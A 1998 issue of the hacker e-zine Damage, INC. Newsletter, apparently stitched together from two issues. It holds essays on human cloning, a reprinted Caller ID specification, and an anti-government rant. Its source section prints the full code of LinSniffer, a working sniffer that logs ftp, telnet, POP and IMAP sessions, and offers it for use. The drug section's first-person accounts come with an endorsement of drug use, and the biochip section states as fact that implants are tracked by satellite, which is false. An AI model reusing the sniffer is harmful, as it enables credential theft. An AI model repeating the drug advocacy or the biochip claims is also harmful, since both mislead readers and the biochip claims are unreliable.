thinking of new + ideas, research, writing, programming and testing source code, editing, + proofreading, and distributing each issue. As Editor/Publisher, I + wouldn't begin to count the hours that are dedicated to this relatively + small publication. It does take more time and work than most of our + readers realize though. In fact, lately I've thought about changing + it from a monthly newsletter to one that's released with no fixed + schedule. Basically, it's a tremendous amount of work and sometimes + time is the greatest factor working against us. In other words, we + have been rushed to finish certain issues and that's when it becomes + more of a chore than an enjoyable endeavour. + + Thanks for the kind wishes for Damage, INC. and the Damage, INC. + Newsletter. We intend to expand and grow stronger. We hope that + our readers will grow, learn and continue to think from an informed, + objective, unbiased, enlightened perspective. Diversity and knowledge + are the keys to the success of the group in my opinion. As long as + we're able to release quality and think of new ideas, then Damage, INC. + will remain as an important, useful source of information. The group's + existence isn't dependant upon any one member. It consists of capable, + intelligent, enlightened individuals. However, there's no "prez" or + official "leader". Therein lies much of its strength. We encourage + individualism, and the group doesn't rely on a "leading figure" to + hold it together. Even though I'm the founding member, I have taken + measures to prevent a collapse of Damage, INC. in the event that I am + forced to quit. I just decided to include this small portion that + describes some of the inner workings of the group, in case people are + interested in that type of thing. ;) More information relating to + the group will be in the Damage, INC. FAQ, which should be ready to + release soon. I believe that I've responded to every portion of your + letter to the editor, so I'll end my rambling now... + + +OBJECTIVE OPINIONS - {OPINIONS} +The Consequences of Cloning Humans: + +Human Cloning is a hot topic in the media one week, and virtually ignored the +next. Many articles have already been written about it, viewpoints have been +shared, heated debates have been started, laws have been written and enacted, +and yet the majority of what's been said and done has been from the same +perspective. That is the reason that I've decided to share my thoughts and +opinions on cloning humans. Obviously, you can agree or disagree with the +points that I make and the opinions that I express. However, I ask that you +at least consider them and not ignore the many possibilities and consequences +of cloning human beings. After you've finished reading this article, form +your own opinions from an informed standpoint. + +Religious groups, governments and many average people are beginning to panic +and think irrationally about cloning and the problems that it might present +in the future. The 'poster child' for the development of human cloning seems +to be an eccentric Chicago physicist named Richard Seed. Seemingly out of +nowhere, he dropped a bombshell on the media by announcing that he wants to be +the first person to clone human beings. At this point, I'm sure many of you +have already heard about Dolly, the sheep that was cloned in Scotland. You may +even know a little about the technique that was used. You may also know that +it took many attempts (reportedly 277) before they were successful at cloning +a sheep. That amount of repeated attempts to produce a cloned sheep might seem +like a huge amount to some, and a small amount to others. However, just by +using common sense and logic, you can determine that it'll also take many +attempts before a human being can be cloned successfully. Perhaps more than a +thousand attempts. Obviously, the technique that was used to clone a sheep +hasn't been perfected... In fact, it hasn't been used yet to clone humans. +Thus, the science of cloning still has a long way to progress before it'll ever +be widely used or accepted by the scientific community. At this point, many +scientists are condemning anyone that wants to try to clone humans. Some of +them site scientific reasons, stating that it's unsafe, there would be a great +loss of life in failed attempts and strange results etc. Others feel that it's +morally wrong to clone human beings. Richard Seed doesn't fit into the same +category as most other scientists of this time. He's been described as being +a well educated, brilliant, bizarre, unpopular, publicity seeking, misfit that +most scientists refuse to support. Indeed, Seed is faced with great opposition. +President Bill Clinton has banned human cloning in the United States and deemed +it to be "untested and unsafe and morally unacceptable." Ian Wilmut, the person +responsible for producing Dolly, doesn't agree with human cloning either. He +also posed the question "Should we really consider or allow experiments of this +kind with people?" + +Will Seed be the one that plants the first seeds of Human Cloning? Many +so-called 'experts' doubt his abilities and don't feel that he's capable of +cloning a human. In fact, Seed has been mocked and ridiculed by numerous +mainstream scientists. In Seed's defense, he did graduate from Harvard with +a doctorate in physics. He then became interested and involved in biomedicine. +He and his brother Randolph Seed (a Chicago surgeon) formed a company called +Fertility & Genetics Research Inc. that helped infertile women conceive +children. Therefore, Seed does have a strong background in genetics which +should help contribute to his cloning experiments. He's also convinced that +the public opinion will eventually shift and the opposition to cloning will +cease. Seed has been quoted as saying "God made man in his own image, God +intended for man to become one with God. Cloning... is the first serious step +in becoming one with God." during a radio interview. During a CNN interview +Seed stated that "Man, will develop the technology and the science and the +capability to have an indefinite life span." That's quite a bold prediction. +If anything Richard Seed is a very confident, brash, blunt person... for which +he deserves some respect in my opinion. + +Now that you've read some of the things that Seed has said, I will elaborate +on his words... and share my opinions with you. When Seed spoke about man +having an indefinite life span, he was probably referring to cloning humans +for organs. Growing human organs and using them to replace the ones that are +failing us, could enable us to live much longer lives. In essence, his use +of the term "indefinite" is correct. Our life span would be increased +tremendously. However, a price would have to be paid for that benefit. As +in, the technology was be abused, misused, and the black market sale of organs +would be big business. It's already profitable today, but with the ability to +clone organs, the governments of the world would almost assuredly want a piece +of the action. Not only that, the rich would benefit the most since they would +be the ones that could afford to pay for the procedures and extend the length +of their lives. The pandora's box would be wide open. I can vividly picture +the commercials and advertisements now: "Immortality for only $99,999 in three +easy payments." "Free dinner with your first transplant operation." The rich +would have the choice of cloning their own organs, or buying organs that were +cloned from someone else. If that's not an ominous thought, what about cloning +babies? Imagine the vain, narcissistic, wealthy fat cat couples proudly +displaying their cloned children. It's the ultimate in vanity. They could brag +to their friends and neighbours about the fact that they're babies are in their +own image, exact replicas, with the same DNA. Do we really need another Bill +Gates? Honestly, I shudder at the thought of that. I'm sure he'd also have a +few clones of himself just for spare parts, in case they're ever needed in an +emergency. + +There's also another issue. Clones wouldn't be considered to be "real human +beings", therefore they would most likely end up as slaves. Just imagine an +entire work force of clones... employed by large corporations... with their +genetics designed specifically for certain tasks. Would killing a clone be +illegal? Would mistreating them be considered immoral? Would they have any +human rights at all? I think not. In fact, it wouldn't surprise me if entire +armies were made up of clones. They'd be more expendable than genetically +normal soldiers. Their DNA could be easily modified to create superior soldiers +for different combat duties. They could test and select the best soldiers to +clone. If a million of them became casualties in war, they'd already have +soldier clones in training ready to replace them. They wouldn't even have to +notify anyone about their deaths, or report the number of clones that were +killed in battle. Nobody would care. Wars would be waged indefinitely, as +there wouldn't be any reason to end them... since the loss of clones wouldn't +matter to anyone on either side. The clones wouldn't be important, they'd +just be biological machines owned by us. Obviously, a clone can't be called an +individual, which is what makes it so vulnerable to oppression and enslavement. + +What would be the result of taking DNA from someone such as Charles Manson +and cloning them? What about cloning Albert Einstein? Would convicts be used +in experimental human cloning? Would it be considered wrong to clone certain +people, and acceptable to clone others? Would the clone be the exactly the same +psychologically, emotionally, intellectually etc. as the original person? Does +genetics dictate everything, or do life experiences play a role? What is the +leading factor in determining how someone is going to develop? How much of us +is caused due to genetics? Is the environment that a person grows up in +critical to their behaviour and intellect? Would clones of intelligent people +be able to attain the same level of knowledge, after being born at a different +time? What role does time play? If the clone can't meet and associate with the +same people, can they then learn the same things in the same way or would that +be a limitation? Technology also evolves and changes over time. The clones +would be exposed to a different world than the original. How would that affect +them? They don't know the answers to those important questions yet. There are +too many possibilities to list or even begin to discuss. At this point, they +can only theorize about what could/would happen. However, I can give my opinion +and attempt to predict the results of their efforts to clone humans. I believe +that they would try to clone certain people that are/were highly intelligent. +That could backfire though. What if massive amounts of geniuses were cloned to +"fix" the world's current problems? Would that really be a solution? Or, is +it possible that it would create more serious problems? I don't claim to have +all of the answers, but I have thought about this issue and considered the +possibilities and consequences of cloning humans. I think that eventually +someone, somewhere will clone a human being and then the "cloning race" will +start between nations. Or perhaps "clone wars" is a more appropriate term. +It's inevitable. In any event, a Brave New World awaits us... + +In closing, Human Cloning is an ethical, moral, religious, scientific issue +that'll continue to be debated for many years. In my view though, cloning +human beings is a human issue. I'm against anything that removes individualism +and destroys the essence of what it is to be human. In the end, humanity will +suffer as a direct result of the misuse of cloning. The consequences can be +disastrous, as explained earlier in the article. That's not only my opinion, +but also my personal prediction. Not all technology is good, useful and +beneficial to us. Also, any technology that is viewed as being beneficial can +also be just as destructive. Lastly, think about and consider all of the other +possible uses for cloning that were not mentioned in this short article. We're +literally on the verge of entering a Brave New World. I suggest that you +continue to educate yourselves, be prepared for any changes that occur and +become informed individuals... not just citizens. + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +REPORTS FROM THE FRONT - {REPORTS} +Caller ID Specifications: + +This article was included since many people are still either misinformed or +lacking in knowledge relating to Caller ID. As you can see by the date below, +it's not recent information. However, it still applies today. The only thing +that has changed since it was written is that Caller ID service is now widely +available. Bell supports Caller ID service basically everywhere in North +America now. (All States and Provinces). Other than that, the information +contained is still useful and relevant. + +From: sichermn@beach.csulb.edu (Jeff Sicherman) +Newsgroups: comp.dcom.telecom +Subject: Caller-ID Specifications +Message-ID: +Date: 1 Dec 91 01:30:39 GMT +Sender: Telecom@eecs.nwu.edu +Organization: Cal State Long Beach +Lines: 181 + +This is a copy of the data sheet picked up at the Rockwell +booth at the COMDEX show. + +INTRODUCTION + +Calling Number Delivery (CND), better known as Caller ID, is a +telephone service intended for residential and small business +customers. It allows the called Customer Premises Equipment (CPE) to +receive a calling party's directory number and the date and time of +the call during the first four second silent interval in the ringing +cycle. The customer must contact a Bellcore Client Company to +initiate CND service. + +According to Pacific Bell representatives, the following states and +district currently support CND service: Delaware, District of +Columbia, Florida, Georgia, Idaho, Kentucky, Louisiana, Maine, +Maryland, Nebraska, Nevada, New Jersey, Oklahoma, Tennessee, Vermont, +Virginia, and West Virginia. + +The following states are scheduled to support CND service by April, +1992: Alaska, Arizona, California, Colorado, Illinois, Indiana, Iowa, +Massachusetts, Mississippi, New Hampshire, New York, North Carolina, +North Dakota, Ohio, Oregon, Rhode Island, and South Carolina. + +PARAMETERS + +The data signalling interface has the following characteristics: + Link Type: 2-wire, simplex + Transmission Scheme: Analog, phase-coherent FSK + Logical 1 (mark) 1200 +/- 12 Hz + Logical 0 (space) 2200 +/- 22 Hz + Transmission Rate: 1200 bps + Transmission Level: 13.5 +/- dBm into 900 ohm load + +(I have copied this data as presented. I believe the transmission +level is meant to be -13.5 dBm.) + +PROTOCOL + +The protocol uses 8-bit data words (bytes), each bounded by a start +bit and a stop bit. The CND message uses the Single Data Message +format shown below. + +Channel Carrier Message Message Data Checksum +Seizure Signal Type Length Word(s) Word +Signal Word Word + +CHANNEL SEIZURE SIGNAL + +The channel seizure is 30 continuous bytes of 55h (01010101) providing +a detectable alternating function to the CPE (i.e. the modem data +pump). + +CARRIER SIGNAL + +The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to +condition the receiver for data. + +MESSAGE TYPE WORD + +The message type word indicates the service and capability associated +with the data message. The message type word for CND is 04h +(00000100). + +MESSAGE LENGTH WORD + +The message length word specifies the total number of data words +to follow. + +DATA WORDS + +The data words are encoded in ASCII and represent the following +information: + +o The first two words represent the month +o The next two words represent the day of the month +o The next two words represent the hour in local military time +o The next two words represent the minute after the hour +o The calling party's directory number is represented by the + remaining words in the data word field + +If the calling party's directory number is not available to the +terminating central office, the data word field contains an ASCII "O". +If the calling party invokes the privacy capability, the data word +field contains an ASCII "P". + +CHECKSUM WORD + +The Checksum Word contains the twos complement of the modulo 256 +sum of the other words in the data message (i.e., message type, +message length, and data words). The receiving equipment may +calculate the modulo 256 sum of the received words and add this +sum to the reveived checksum word. A result of zero generally +indicates that the message was correctly received. Message +retransmission is not supported. + +EXAMPLE CND SINGLE DATA MESSAGE + +An example of a received CND message, beginning with the message +type word, follows: + +04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51 + +04h= Calling number delivery information code (message type word) +12h= 18 decimal; Number of data words (date,time, and directory + number words) +ASCII 30,39= 09; September +ASCII 33,30= 30; 30th day +ASCII 31,32= 12; 12:00 PM +ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM) +ASCII 36,30,39,35,35,35,31,32,31,32= (609) 555-1212; calling + party's directory number +51h= Checksum Word + +DATA ACCESS ARRANGEMENT (DAA) REQUIREMENTS + +To receive CND information, the modem monitors the phone line between +the first and second ring bursts without causing the DAA to go off +hook in the conventional sense, which would inhibit the transmission +of CND by the local central office. A simple modification to an +existing DAA circuit easily accomplishes the task. + +(I will mail the Rockwell data sheet, which includes the suggested +schematic diagram.) + +MODEM REQUIREMENTS + +Although the data signalling interface parameters match those of a +Bell 202 modem, the receiving CPE need not be a Bell 202 modem. A +V.23 1200 bps modem receiver may be used to demodulate the Bell 202 +signal. The ring indicate bit (RI) may be used on a modem to indicate +when to monitor the phone line for CND information. After the RI bit +sets, indicating the first ring burst, the host waits for the RI bit +to reset. The host then configures the modem to monitor the phone +line for CND information. + +(I'm skipping some Rockwell-specific information here.) + +According to Bellcore specifications, CND signalling starts as early +as 300 mS after the first ring burst and ends at least 475 mS before +the second ring burst. + +APPLICATIONS +Modem manufacturers will soon be implementing new modem features +based on CND information as this service becomes widely +available. + +Once CND information is received the user may process the +information in a number of ways. + +1. The date, time, and calling party's directory number can be + displayed. + +2. Using a look-up table, the calling party's directory number + can be correlated with his or her name and the name + displayed. + +3. CND information can also be used in additional ways such as + for: + + a. Bulletin board applications + b. Black-listing applications + c. Keeping logs of system user calls, or + d. Implementing a telemarketing data base + +REFERENCES +For more information on Calling Number Delivery (CND), refer to +Bellcore publications TR-TSY-000030 and TR-TSY-000031. + +To obtain Bellcore documents contact: + + Bellcore Customer Service + 60 New England Avenue, Room 1B252 + Piscataway, NJ 08834-4196 + (201) 699-5800 + + +SOURCE AND SCRIPTS - {SOURCE} +Linux Sniffer source code: + +In the spotlight this month we're featuring a Linux Sniffer. As you can see, +it's not by Damage, INC. but hopefully in future issues there +will be more source code that was written by us. The source hasn't been +modified in any way, nor are we taking credit for this sniffer. We're simply +including it so that you can use it, study the code and learn from it. ;) If +you want some other sniffers, then check out some web sites that carry them. + +------------------------------------------------------------------------------- +/* +LinSniffer 0.03 [BETA] +Mike Edulla +medulla@infosoc.com +*/ + + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +int openintf(char *); +int read_tcp(int); +int filter(void); +int print_header(void); +int print_data(int, char *); +char *hostlookup(unsigned long int); +void clear_victim(void); +void cleanup(int); + + +struct etherpacket +{ + struct ethhdr eth; + struct iphdr ip; + struct tcphdr tcp; + char buff[8192]; +}ep; + +struct +{ + unsigned long saddr; + unsigned long daddr; + unsigned short sport; + unsigned short dport; + int bytes_read; + char active; + time_t start_time; +} victim; + +struct iphdr *ip; +struct tcphdr *tcp; +int s; +FILE *fp; + +#define CAPTLEN 512 +#define TIMEOUT 30 +#define TCPLOG "tcp.log" + +int openintf(char *d) +{ + int fd; + struct ifreq ifr; + int s; + fd=socket(AF_INET, SOCK_PACKET, htons(0x800)); + if(fd < 0) + { + perror("cant get SOCK_PACKET socket"); + exit(0); + } + strcpy(ifr.ifr_name, d); + s=ioctl(fd, SIOCGIFFLAGS, &ifr); + if(s < 0) + { + close(fd); + perror("cant get flags"); + exit(0); + } + ifr.ifr_flags |= IFF_PROMISC; + s=ioctl(fd, SIOCSIFFLAGS, &ifr); + if(s < 0) perror("cant set promiscuous mode"); + return fd; +} + +int read_tcp(int s) +{ + int x; + while(1) + { + x=read(s, (struct etherpacket *)&ep, sizeof(ep)); + if(x > 1) + { + if(filter()==0) continue; + x=x-54; + if(x < 1) continue; + return x; + } + } +} + +int filter(void) +{ + int p; + p=0; + if(ip->protocol != 6) return 0; + if(victim.active != 0) + if(victim.bytes_read > CAPTLEN) + { + fprintf(fp, "\n----- [CAPLEN Exceeded]\n"); + clear_victim(); + return 0; + } + if(victim.active != 0) + if(time(NULL) > (victim.start_time + TIMEOUT)) + { + fprintf(fp, "\n----- [Timed Out]\n"); + clear_victim(); + return 0; + } + if(ntohs(tcp->dest)==21) p=1; /* ftp */ + if(ntohs(tcp->dest)==23) p=1; /* telnet */ + if(ntohs(tcp->dest)==110) p=1; /* pop3 */ + if(ntohs(tcp->dest)==109) p=1; /* pop2 */ + if(ntohs(tcp->dest)==143) p=1; /* imap2 */ + if(ntohs(tcp->dest)==513) p=1; /* rlogin */ + if(ntohs(tcp->dest)==106) p=1; /* poppasswd */ + if(victim.active == 0) + if(p == 1) + if(tcp->syn == 1) + { + victim.saddr=ip->saddr; + victim.daddr=ip->daddr; + victim.active=1; + victim.sport=tcp->source; + victim.dport=tcp->dest; + victim.bytes_read=0; + victim.start_time=time(NULL); + print_header(); + } + if(tcp->dest != victim.dport) return 0; + if(tcp->source != victim.sport) return 0; + if(ip->saddr != victim.saddr) return 0; + if(ip->daddr != victim.daddr) return 0; + if(tcp->rst == 1) + { + victim.active=0; + alarm(0); + fprintf(fp, "\n----- [RST]\n"); + clear_victim(); + return 0; + } + if(tcp->fin == 1) + { + victim.active=0; + alarm(0); + fprintf(fp, "\n----- [FIN]\n"); + clear_victim(); + return 0; + } + return 1; +} + + +int print_header(void) +{ + fprintf(fp, "\n"); + fprintf(fp, "%s => ", hostlookup(ip->saddr)); + fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest)); +} + +int print_data(int datalen, char *data) +{ + int i=0; + int t=0; + + victim.bytes_read=victim.bytes_read+datalen; + for(i=0;i != datalen;i++) + { + if(data[i] == 13) { fprintf(fp, "\n"); t=0; } + if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;} + if(t > 75) {t=0;fprintf(fp, "\n");} + } +} + + +main(int argc, char **argv) +{ + s=openintf("eth0"); + ip=(struct iphdr *)(((unsigned long)&ep.ip)-2); + tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2); + signal(SIGHUP, SIG_IGN); + signal(SIGINT, cleanup); + signal(SIGTERM, cleanup); + signal(SIGKILL, cleanup); + signal(SIGQUIT, cleanup); + if(argc == 2) fp=stdout; + else fp=fopen(TCPLOG, "at"); + if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);} + clear_victim(); + for(;;) + { + read_tcp(s); + if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2); + fflush(fp); + } +} + +char *hostlookup(unsigned long int in) +{ + static char blah[1024]; + struct in_addr i; + struct hostent *he; + + i.s_addr=in; + he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET); + if(he == NULL) strcpy(blah, inet_ntoa(i)); + else strcpy(blah, he->h_name); + return blah; +} + +void clear_victim(void) +{ + victim.saddr=0; + victim.daddr=0; + victim.sport=0; + victim.dport=0; + victim.active=0; + victim.bytes_read=0; + victim.start_time=0; +} + +void cleanup(int sig) +{ + fprintf(fp, "Exiting...\n"); + close(s); + fclose(fp); + exit(0); +} +------------------------------------------------------------------------------- + + +THE JOURNALIST'S TOP TEN LIST - {TOP TEN} +"Drugs and their effects" + + + 1. MARIJUANA + Names: Cannabis, grass, pot, dope, weed, ganja, bud, green, maryjane. + "The first few times I did pot were awesome! Me and my buddy made + this huge pipe out of 3 one-litre pop bottles. We would smoke two + bowls and be absolutely fucked! We used to laugh for three hours + straight, at everything and anything. One time we lay on his bed and + listened to stairway to heaven. Music had never sounded so good that + night; I felt like my body was becoming one with the bed. Those were + times that I'll never ever forget, no matter how much pot I smoke. ;)" + + 2. L.S.D + Names: LSD, hits, acid, blotter, burgers, paper, trips, candy. + "It was the first time I had done acid. Looking back, this shit was + definitely the cleanest and purest stuff I've ever done. A friend and + I took one hit each. There were cartoon characters on the back of the + hits. After half an hour I was rushing from head to toe. Two hours + later I was so fucked I couldn't remember my own name. I do + remember playing with the kitchen knife, wanting to see my own blood. + The comedown was also one of the best I have ever experienced. We + talked about life, and philosophy. My mind was very expanded at that + moment. I felt a peace and calmness within me that I have only + experienced two other times; but that's another story." + + 3. HEROIN + Names: Heroin, junk, smack, dope, + "They said the heroin rush was better than an orgasm. I just had to + know for myself. The thought of using a hypodermic needle kinda + scared me, but I had snorted coke before, so was not too scared to do + a little heroin. A few seconds after I plunged the warm liquid into + my bloodstream I felt a wave of ecstasy explode in my body. I was in + heaven. Nothing mattered on junk. Bliss had been attained, why strive + for anything else? I enjoyed my experience with heroin. I don't think + I'll ever do it again. I liked it too much, I would probably end up + a junkie dying of AIDS or something." + + 4. MDMA + Names: MDMA, ecstasy, 'e', adam, eve, xtc. + "I prefer to do E at raves personally. It's just a much better + atmosphere for the drug. E keeps me going all night, which is nice. + It never fucks me up too much, which is also nice. I can still talk + to people and make sense. That's one of the reasons I do E at raves. + There is a vibe of friendliness, openness and love. E makes me feel + alright about the world. I like the connected feeling I get when I + do E." + + 5. COCAINE + Names: Cocaine, coke, cola, white god, blow. + "The first time I did coke I snorted it. We had gotten it from a + reliable source, so I didn't hesitate. I rolled up a crisp new twenty + and inserted one end into my nostril. I covered the other nostril and + snorted the first rail. I switched nostrils and snorted back the + second line. I immediately felt a rush of exhiliration pulse through + my body. My heart was racing, and I felt invincible. I lit a + cigarette and took a few puffs. At this point I heard a ringing in my + ears. It got progressively louder until I felt like a locomotion was + thundering through my head. Coke is fucking crazy like that. Its + as if you're on the edge of the world, looking out into the abyss." + + 6. PCP + Names: PCP, Angel Dust. + "I've heard crazy things about PCP; things like people cutting their + own limbs off, or killing their wife and filleting her. Still, that + did not deter me from saying yes when my friend came back saying 'no + acid, but I got PCP'. My friend snorted his. I ate a bit, and laced + the rest in a joint with weed. I didn't get as fucked up as I expected + but nevertheless, things were pretty wierd. Fortunately I still have + two arms and two legs. ;) I doubt I'll do PCP again." + + 7. DMT + Names: DMT. Method of ingestion: Inhalation of DMT vapours. + "...Suddenly everything melts away. I am left floating in nothingness. + In front of me little sets of eyes pop out of the darkness. These + are followed by distorted voices, communicating some unknown language. + Images of alternate beings flood my vision. Colors spew out from + geometric shapes twisting and morphing into a million different + structures. I feel myself being pulled forward, through the + magnificent hallucinations that bombard my reality. I have arrived on + another planet. I have travelled the universe in my mind." + + 8. PEYOTE + Names: Peyote, cactus. + "Doing peyote was inevitable for me. I had been studying native + Mexican culture for many years, and knew a lot about the ancient + rituals involving the sacred cactus. The cactus was mashed up and + mixed into a brew with many other natural plants, which help smooth + the trip, and lessen negative somatic effects. It was the perfect + set and setting for the trip. I sat around the fire and discussed + anthropology with my acquaintances. The stars danced in the clear + night sky. It was a very pleasurable experience, except for the mild + nausea I felt while digesting the mixture." + + 9. NITROUS OXIDE + Names: Nitrous oxide, laughing gas, n2o, whippets. + "Nitrous is for kicks. It totally knocks you in the ass if you take + some while peaking out on another drug. Sometimes people will sell + in balloons, but most of the time you either use whipped cream + canisters, or buy it in a tank. Its more of a kid's drug, but it's + fun every now and then... if you want to have a 2-minute high." + + 10. PSILOCYBIN + Names: Psilocybin, mushrooms, shrooms, mushies. + "I've done shrooms quite a few times, and one thing I can say is that + the effects were always different. At first I used to get major + aural distortions and hallucinations, combined with spontaneous + laughing. Other times I'd be really happy, and body-buzzed. But the + most incredible experience I ever had was on three and a half grams of + the dried mushroom. While peaking my friend and I attained the + level of consciousness that is usually reserved only for meditating + buddhas. I felt very calm, and at one with the universe." + +The above events are real accounts from various people, and they reflect their +own personal drug experiences and not necessarily those of The Journalist. It +is your choice whether or not you want to experiment with drugs. Even though +Damage, INC. condones and advocates their usage, we are not responsible for +*your* actions. If you choose to try any of the drugs mentioned, then that +decision is your own to make. Our intention isn't to influence our readers, +only to inform and educate them. We're not telling you to do drugs, nor are +we condemning them. We are simply sharing some unique experiences with you. +In order to make an informed decision, you require information on the topic. +That's exactly what we are providing you with. Read it, digest it and think +about it. + +Written by The Journalist ú Damage, INC. (C)opyright 1998. + + +THOUGHTS, POEMS AND CREATIVE WRITING - {WRITING} +Weakness and Strength: + +Rumours, Misinformation, Assumptions, Fiction, Stories, Misconceptions, +Stereotypes, Falsehoods, Hearsay, Myths, Legends, Propaganda, Exaggeration, +Wrongs, Naive, Gullible, Influenced, Followers, Witchhunts, Disinformation, +Ignorance, Unreal, Brainwashed, Fake, Weak, Stupid, Zombies...Government, +Big Brother, Lies. + +Facts, Information, Informed, Confirmed, Non-Fictional, Proven, Correct, +Accurate, Precise, Enlightened, Evolved, Truths, Direct, Honest, Knowledge, +Freedom, Liberty, Real, Strong, Powerful, Wise, Revolutionaries...Anarchy, +Damage, INC., Truth. + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +CLOSING COMMENTS - {CLOSING} +Shatazar's Inaugural Closing Comments: + +I have been given the honour of closing another quality issue of the +Damage, INC. Newsletter. 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Newsletter freely to quality +h/p boards only. + + Copyright 1998 by Damage, INC. + All Rights Reserved. +_______________________________________________________________________________ + + +INTRODUCTION: The quote for this issue is "Search and Destroy". It invokes + many images and powerful thoughts. What does it mean? + Obviously, that depends upon your perspective. It could mean + strength, aggressiveness, destruction, damage, a merciless + mission, evil, or war itself. However, it could also mean + something quite different from that. The above quote might mean + searching out and destroying ignorance, misinformation and false + assumptions. Indeed, there's more than one possible meaning. + You just have to open your mind to the many possibilities that + exist. + + The intended meaning is to fight ignorance and destroy the + misinformation that surrounds us. To say that it's a difficult + task is an understatement. I'll admit that I'm not optimistic. + I'm a realist by nature and cannot fathom what's involved in + accomplishing that goal. I realize that it will take years of + dedication and diligent work to even make a small impression + upon the ignorant masses that have been mislead and misinformed + by the media, Big Brother etc. I also know that no matter how + much time and effort is expended, a single individual can't + make a significant difference. That is, they can't do it alone. + That's the reason that I'm calling upon you, the readers of + the Damage, INC. Newsletter to unite, exchange information and + ideas and contribute towards a common goal. Our mission is to + inform and educate. We cannot rely on anyone else but ourselves. + + "The system" is structured to teach you what *they* want you to + know and nothing more. It has failed us all. It doesn't provide + you with the means to attain wisdom and gain knowledge. In fact, + it is setup to prevent you from thinking freely and learning + about what interests you. They control the material that you + study and absorb. They set the standards, the rules and test you + on what you're supposed to know. Meaning, you're instructed to + memorize certain material and then regurgitate it back to them + later on. It's almost like a feedback loop. In reality, it's + a trap. Don't be ashamed if you walked right into it due to your + own naiveness. Many people have fallen into the same trap and + become prey. The main problem is that most never escaped and + they're currently zombies. As in, they do not possess the simple + ability to think freely, examine things and then form their own + opinions. They are the true failures in "society". They've + failed themselves. Most importantly, they didn't learn the hard + way from their mistake. The zombies assume that they were told + the truth and defiantly reject learning the real truth. + + What can I do about it? That's a rhetorical question that is + often spoken by zombies. They don't want a reply, the answer, + nor do they wish to think and find a solution. Basically, they + don't want to do anything about whatever problem they're + indirectly referring to. In comparison to an enlightened person, + a zombie is a sub-human, brainwashed, creature that is a slave + to "society". Their only duty is to serve it. That is all that + really concerns them. I've witnessed the ignorant, influenced, + government loyal, Big Brother loving, brainwashed, sickening + actions of zombies too many times. They are not only illogical, + but also the most limited, controlled, puppets imaginable. Their + lack of thought prevents them from ever evolving and achieving + enlightenment. They are the epitome of thoughtlessness and the + best followers that can be found. The only logical answer to + their question is that they can do nothing about anything. At + least, not without changing their state of mind and entire being. + The zombies view is the accepted view of "society". To change + that is to change everything including their very consciousness. + + The main point that I want to express is to warn everyone not + to become a zombie. If you can think then you can do something. + If you can learn then you can teach. If you can share ideas and + information then you can make a positive difference. Don't just + take it. Don't just ignore what is happening. Don't just give + up and quit. Don't just surrender and let the ignorant of + "society" win. The battle against ignorance must be waged now if + things are going to change. If you think that it's possible to + improve something, then make an attempt. As an example, it could + be your local h/p scene. Or, you could search out and destroy + articles of misinformation that you've seen being spread around. + In any case, you'd be doing something that's beneficial instead + of asking "What can I do about it?" repeatedly to no avail. The + zombies will absolutely support the Thought Police, restrictions + on privacy, the elimination of civil rights and freedom for + "reasons of safety". Many of those things are already slipping + away from our grasp. Don't allow it to continue. Think about + that while you are still allowed to think freely... + + +BIG BROTHER BASHING - {BIG BROTHER} +Big Brother will brand his cattle. + +In the book "1984", George Orwell described a ruthless totalitarian state in +which the actions and thoughts of its citizens were carefully tracked. Many +people agree that Orwell was an exceptional author. However, most people assume +that an Inner Party could not have such control over a society. I disagree with +that. Orwell was an amazing man that was able to accurately predict what our +world will be like in the future. The only limitation for Orwell was that he +wasn't able to fully predict the monumental advances in technology since 1949. + +Orwell's prophetic book, to which we owe the title of this section of the +Damage, INC. Newsletter, also leads me into what many people consider true +prophesy. The Book of Revelation. Yes, there are some very disturbing +prophesies in there, but there is one that I would like to focus on. Revelation +13 (16-17) states, "And he causeth all, both small and great, rich and poor, +free and bond, to receive a mark in their right hand, or in their foreheads; +"And that no man might buy or sell, save that he had the mark, or the name of +the beast, or the number of his name." These verses refer to the Mark of the +Beast, Satan's number 666, etc. + +Orwell's prediction of people being carefully watched by a vast network of +Thought Police, and Bible prophesy regarding the Mark of the Beast are +dangerously close to becoming a reality. For approximately a decade, Big +Brother has possessed the technology necessary to implant humans with biochip +transponders. Once these chips are implanted, Big Brother can use his +satellites to track the victim's movements. + +The biochip transponders are implanted within a human via a syringe. It is +place just under the skin of the subject. It can be placed anywhere... like +under the skin of your forehead, or on the back of one of your hands. The +approximate size of the implantable biochip transponder is a grain of rice. +Once it is implanted, it is virtually impossible to remove. + +The biochip transponder emits low frequency FM radio waves. These FM radio +waves are powerful enough to reach an orbiting satellite several miles up. +The satellite can then be used to surmise the exact position of the implanted +person. Big Brother can then discover latitude, longitude and elevation of the +person branded by their transponder. + +Implanted biochip transponders technology has been used for over a decade. +Especially in the United States, there are many domestic animals that have been +implanted with biochips. InfoPet, a southern California company, was the first +to get involved in injecting biochip transponders into cats and dogs. Companies +like InfoPet have exploited the rampant fears of pet owners in order to implant +as many biochip transponders as possible. + +Worse yet, in the mid 1990s, a company called KIDSCAN attempted to prey upon the +fears of guilty, fearful parents when they offered a program to inject children +with biochip transponders. Children "enrolled" in KIDSCAN would be tracked down +and their coordinates would be immediately sent to the local police department. +KIDSCAN's angle relied on the public's misconception that child abductions were +running rampant. Another angle was when the KIDSCAN children become teenagers, +parents that do not trust their children can use the transponder to track down +their "rebellious teenagers". + +Of course, parents were too busy living in fear to think that they were +injecting a foreign device into their children's body that could not be removed. +These parents were so scared of losing their possession... err, child, that they +were willing to sacrifice their child/children's freedom of movement +permanently. People just don't think. + +Luckily, KIDSCAN founder Jack Dunlap's plans were finished, when funding for his +Big Brother inspired idea was eliminated in the prototype stage. However, that +was back in 1989. In those days, people cared more about their independence and +individuality than they do these days. There is no doubt in my mind (and +judging by the research I've done, many others) that Big Brother has the +technology in the ready, and a plan to get the dupes out there to WANT the +biochip implant. + +There are also other reasons 